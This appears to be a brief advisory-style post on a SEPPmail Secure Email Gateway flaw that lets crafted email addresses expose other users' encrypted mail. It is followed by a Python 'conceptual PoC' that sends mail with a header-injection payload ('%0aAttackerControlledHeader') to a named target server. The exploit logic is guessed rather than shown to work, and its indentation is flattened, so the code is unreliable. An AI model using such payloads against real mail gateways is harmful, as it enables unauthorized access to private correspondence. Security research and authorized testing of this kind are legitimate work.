SEPPmail Secure Email Gateway before version 15.0.3 allows attackers with a specially crafted email address to read the contents of emails encrypted for other users.
The following code is for security research and authorized testing only.
python
# Conceptual PoC for CVE-2026-29131
# This script demonstrates sending a crafted email to test for information disclosure.
# Note: Replace target_ip and recipient details based on actual environment testing.
import smtplib
from email.mime.text import MIMEText
def send_crafted_email(target_server, sender, crafted_recipient):
try:
msg = MIMEText("Test content for vulnerability verification.")
msg['Subject'] = "Test CVE-2026-29131"
msg['From'] = sender
# The crafted recipient address triggers the logic flaw
msg['To'] = crafted_recipient
# Connect to the target SMTP server
with smtplib.SMTP(target_server, 25) as server:
server.sendmail(sender, [crafted_recipient], msg.as_string())
print(f"[+] Email sent to crafted recipient: {crafted_recipient}")
except Exception as e:
print(f"[-] Error: {e}")
# Example usage
# Attacker might use a format like "[email protected][email protected]" or specific injection chars
# depending on the specific parsing logic of SEPPmail.
target = "mail.seppmail-target.com"
sender = "[email protected]"
# Crafted address attempting to read other's mail
payload = "[email protected]%0aAttackerControlledHeader"
send_crafted_email(target, sender, payload)